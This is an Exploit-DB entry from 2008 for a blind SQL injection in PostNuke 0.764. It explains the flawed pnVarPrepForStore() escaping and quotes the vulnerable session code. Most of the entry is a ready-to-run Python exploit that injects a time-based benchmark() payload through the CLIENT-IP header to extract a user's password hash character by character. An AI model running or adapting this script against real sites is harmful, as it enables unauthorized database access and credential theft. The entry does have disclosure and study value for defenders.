PostNuke 0.764 - Blind SQL Injection

EDB-ID:

5292




Platform:

PHP

Date:

2008-03-21


#!/usr/bin/python
#=================================================================================================# 
#                     ____            __________         __             ____  __                  #
#                    /_   | ____     |__\_____  \  _____/  |_          /_   |/  |_                #
#                     |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\               #
#                     |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |                 #
#                     |___|___|  /\__|  /______  /\___  >__|            |___||__|                 #
#                              \/\______|      \/     \/                                          #
#=================================================================================================#
#                                     This was a priv8 Exploit                                    #
#=================================================================================================#
#  	           		         Postnuke <= 0.764                                        #
#                                 Blind Sql Injection Vulnerability                               #
#                                         Benchmark Method                                        #
#                                                                                                 #
#                                       Vendor:   www.postnuke.com	                          #
#                                     Severity:   High                                            #
#                                       Author:   The:Paradox                                     #
#=================================================================================================# 
#                                       Proud To Be Italian.                                      #
#====================================#============================================================#
# Proof Of Concept / Bug Explanation #                                                            #  
#====================================#                                                            #     
# Postnuke presents a critical vulnerability in pnVarPrepForStore() function. Let's see source:   #                                                                                               
#                                                                                                 #
#                                                                                                 #
#	1. function pnVarPrepForStore()                                                           #
#	2. {                                                                                      #
#	3.     $resarray = array();                                                               #
#	4.     foreach (func_get_args() as $ourvar) {                                             #
#	5.         if (!get_magic_quotes_runtime() && !is_array($ourvar)) {                       #
#	6.             $ourvar = addslashes($ourvar);                                             #
#	7.        	}                                                                         #
#	8.         // Add to array                                                                #
#	9.         array_push($resarray, $ourvar);                                                #
#	10.     }                                                                                 #
#	11.     // Return vars                                                                    #
#	12.     if (func_num_args() == 1) {                                                       #
#	13.         return $resarray[0];                                                          #
#	14.     } else {                                                                          #
#	15.         return $resarray;                                                             #
#	16.     }                                                                                 #
#	17. }                                                                                     #              
#                                                                                                 #     
# This function is used to prepare vars for sql queries. It "add slashes" to given variables.     #
# But wat happens if get_magic_quotes_runtime() is On in Server Configuration?                    # 
# The script does nothing 'cause variables should be already cleaned.                             #
#                                                                                                 #
# Whatever the script author didn't thought about Server Variables: they are untouched by         #
# magic_quotes_gpc and magic_quotes_runtime().                                                    #                                               
# Therefore all Server Variables are not propelly checked with magic_quotes_runtime() On          #
#                                                                                                 #
# In this exploit I will inject Sql code in HTTP_CLIENT_IP header, see pnSessionInit() function.  #
#=================================================================================================#
# Use this at your own risk. You are responsible for your own deeds.                              #
#=================================================================================================#				          
"""                                                                                                
                                            Related Codes:
function pnSessionInit()
{
    $dbconn =& pnDBGetConn(true);
    $pntable =& pnDBGetTables();
    // First thing we do is ensure that there is no attempted pollution
    // of the session namespace
    foreach($GLOBALS as $k => $v) {
        if (substr($k,0,4) == 'PNSV') {
            return false;
        }
    }
    // Kick it
    session_start();
    // Have to re-write the cache control header to remove no-save, this
    // allows downloading of files to disk for application handlers
    // adam_baum - no-cache was stopping modules (andromeda) from caching the playlists, et al.
    // any strange behaviour encountered, revert to commented out code.
    // Header('Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0');
    Header('Cache-Control: cache');

    $sessid = session_id();
    // Get (actual) client IP addr
    $ipaddr = pnServerGetVar('REMOTE_ADDR');
    if (empty($ipaddr)) {
        $ipaddr = pnServerGetVar('HTTP_CLIENT_IP');
    }
    $tmpipaddr = pnServerGetVar('HTTP_CLIENT_IP');
    if (!empty($tmpipaddr)) {
        $ipaddr = $tmpipaddr;
    }
    $fwdipaddr = pnServerGetVar('HTTP_X_FORWARDED_FOR');

    if (!empty($fwdipaddr) AND strpos($fwdipaddr, ',') !== false) {
        $fwdipaddr = substr($fwdipaddr,0, strpos($fwdipaddr, ','));
    }
    $tmpipaddr = $fwdipaddr;

    if (!empty($tmpipaddr) AND strpos($tmpipaddr, ',') !== false) {
        $ipaddr = substr($tmpipaddr,0, strpos($tmpipaddr, ','));
    }

    $sessioninfocolumn = &$pntable['session_info_column'];
    $sessioninfotable = $pntable['session_info'];

    $query = "SELECT $sessioninfocolumn[ipaddr]
              FROM $sessioninfotable
              WHERE $sessioninfocolumn[sessid] = '" . pnVarPrepForStore($sessid) . "'";

    $result =& $dbconn->Execute($query);

    if ($dbconn->ErrorNo() != 0) {
        return false;
    }

    if (!$result->EOF) {
// jgm - this has been commented out so that the nice AOL people
//       can view PN pages, will examine full implications of this
//       later
//        list($dbipaddr) = $result->fields;
        $result->Close();
//        if ($ipaddr == $dbipaddr) {
            pnSessionCurrent($sessid);
//        } else {
//          // Mismatch - destroy the session
//          session_destroy();
//          pnRedirect('index.php');
//          return false;
//        }
    } else {
        pnSessionNew($sessid, $ipaddr);
        // Generate a random number, used for
        // some authentication
        srand((double)microtime() * 1000000);
        pnSessionSetVar('rand', rand());
    }

    return true;
}

function pnSessionNew($sessid='', $ipaddr='')
{
    $dbconn =& pnDBGetConn(true);
    $pntable =& pnDBGetTables();

    $sessioninfocolumn = &$pntable['session_info_column'];
    $sessioninfotable = $pntable['session_info'];

    $query = "INSERT INTO $sessioninfotable
                 ($sessioninfocolumn[sessid],
                  $sessioninfocolumn[ipaddr],
                  $sessioninfocolumn[uid],
                  $sessioninfocolumn[firstused],
                  $sessioninfocolumn[lastused])
              VALUES
                 ('" . pnVarPrepForStore($sessid) . "',
                  '" . pnVarPrepForStore($ipaddr) . "', <-- Injection! =)
                  0,
                  " . time() . ",
                  " . time() . ")";

    $dbconn->Execute($query);

    if ($dbconn->ErrorNo() != 0) {
        return false;
    }

    return true;
}
"""
#=================================================================================================#				          
#                                      Python Exploit Starts                                      #
#=================================================================================================#

from httplib import HTTPConnection
from time import time
from sys import exit, argv, stdout

print """
#=================================================================#
#  	                 Postnuke <= 0.764                        #
#                 Blind Sql Injection Vulnerability               #
#                         Benchmark Method                        #
#                                                                 #
#                     Discovered By The:Paradox                   #
#                                                                 #
# Usage:                                                          #
#  ./pwnpn [Target] [Path] [User_id]                              #
#                                                                 #
# Example:                                                        #
#  ./pwnpn localhost /PostNuke/ 2                                 #
#  ./pwnpn www.host.com / 2                                       #
#=================================================================#
"""

if len(argv)<=3:	exit()
else:   print "[.]Exploit Starting."

prefix = "pn_"
benchmark = "230000000" 
vtime = 6 
port = 80

target = argv[1]
path = argv[2]
uid = argv[3]

j=1
h4sh = ""
ht = []

for k in range(48,58):  
	ht.append(k)
for k in range(97,103): 
	ht.append(k)
ht.append(0)

# Result Query:
# INSERT INTO pn_session_info( pn_session_info.pn_sessid, pn_session_info.pn_ipaddr, pn_session_info.pn_uid, pn_session_info.pn_firstused, pn_session_info.pn_lastused )
# VALUES ('6bc3cf4c67bb4c3b24bdd38dcd8e1b5b', '127.0.0.1', (SELECT IF((ASCII(SUBSTRING(PASSWORD,1,1))=48),benchmark(300000000, CHAR(0)), 0) 
# FROM pn_users WHERE pn_uid =1)/*', 0, 0, 0)

print "[.]Blind Sql Injection Starts.\n\nHash:"
while j <= 32:
	for i in ht:
		if i == 0:	exit('[-]Exploit Failed.\n')
		
		start = time()
		conn = HTTPConnection(target,port)


		conn.request("GET", path + "index.php", {}, {"Accept": "text/plain","CLIENT-IP": "127.0.0.1',(SELECT IF((ASCII(SUBSTRING(pn_pass," + str(j) + ",1))=" + str(i) + "),benchmark(" + benchmark + ",CHAR(0)),0) FROM " + prefix + "users WHERE pn_uid=" + uid + "), 0, 0)/*"})
		response = conn.getresponse()
		read = response.read()		
		
		if response.status == 404: exit('[-]Error 404. Not Found.')		
		now = time()
		
		if now - start > vtime:
			stdout.write(chr(i))
			stdout.flush()
			h4sh += chr(i)
			j += 1
			break;

print "\n\n[+]All Done.\n-=Paradox Got This One=-"

# milw0rm.com [2008-03-21]